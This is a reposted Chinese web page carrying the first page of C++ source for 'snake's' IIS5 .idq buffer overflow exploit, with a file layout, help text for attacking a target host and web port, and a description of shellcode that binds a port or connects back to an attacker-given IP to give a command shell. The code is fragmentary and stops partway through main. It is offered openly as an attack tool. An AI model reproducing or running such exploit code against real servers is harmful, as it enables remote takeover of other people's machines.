 |
IIS5_IDQ命令行溢出程序源代码--snake |
|
| IIS5_IDQ命令行溢出程序源代码--snake |
|
| 作者:未知 文章来源:网络收集 点击数: 更新时间:2006-3-29 15:20:38
|
SNAKE的IIS5_IDQ命令行溢出程序源代码
by snake. 2001/7/31
IIS5_IDQ溢出。。。从Internet上学习到的,也让他回归internet.
文件结构:
cpp文件:iisidqoverflow.cpp 和 SkShellCodeFunc.cpp 头文件: SkShellCodeFunc.h 功能文件:WSAStart.cpp和SnakeSocket.cpp wsastart.h snakesocket.h(这4个文件不提供...因为,他们实现的只是WSAStart和socket的功能,你要成功编译本程序,必须自己替换相关的WSAStart和socket功能的代码.特此声明!) 中间文件:iis_idq.asm --用来实现shellcode数据的文件,编译的时候,不必编译,只是为了中间产生shellcode数据.它实现了溢出后,程序的处理:创建一个进程,并且绑定一个端口。这个还可以用于其他的windows溢出.
文件1:iisidqoverflow.cpp (主文件)
#include <afxwin.h> #include "snakesocket.h" #include "wsastart.h" #include "SkShellCodeFunc.h"
//function predeclare. //取得 需要 地址 信息 void GetNecesProcAddr( char *szInfo, int iMaxSize); //生成我的 shell code代码. int Sk_Make_IIS5_IDQ_ShellCode(char *pszOutput, SYSTEM_TYPE SystemType, ConnectStruct *pConnectStruct, LPCTSTR lpszBindCmd);
//宣示帮助. void ShowHelp() { int i;
printf("运行参数:操作系统类型 目的地址 web端口 1 溢出监听端口 <输入命令1>\r\n"); printf("或者:操作系统类型 目的地址 web端口 2 溢出连接IP 溢出连接端口 <输入命令1>\r\n"); printf("\r\n\r\n其中,如果输入命令参数没有输入,那么,默认为:\"cmd.exe /c + dir\""); printf("\r\n如果为1,那么,将输入新的命令.");
printf("\r\n\r\n支持的操作系统 类型: ----\r\n"); for( i=0; i 0){ send( msocket, szBuff, iLen, 0); }
return (iLen>0)?true:false; }
int main(int argc, char *argv[]) { CWSAStart wsaStart; CSnakeSocket snakeSocket; WORD wPort; DWORD dwIP;
if( argc > 1){ if( stricmp( argv[1], "GetAddr") == 0){ char szTemp[12048]; GetNecesProcAddr(szTemp, sizeof(szTemp) );
printf("%s\r\n",szTemp);
OSVERSIONINFO osInfo; osInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
[1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >>
|
|
[ 收藏此页到: 天天|和讯|博采|ViVi|狐摘|我摘|天极 ] 文章录入:kinda 责任编辑:kinda |
|
上一篇文章: 另外一种隐藏LKM的方法 下一篇文章: 汇编语言课程设计:调试并修改一个小的内存驻留程序 |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |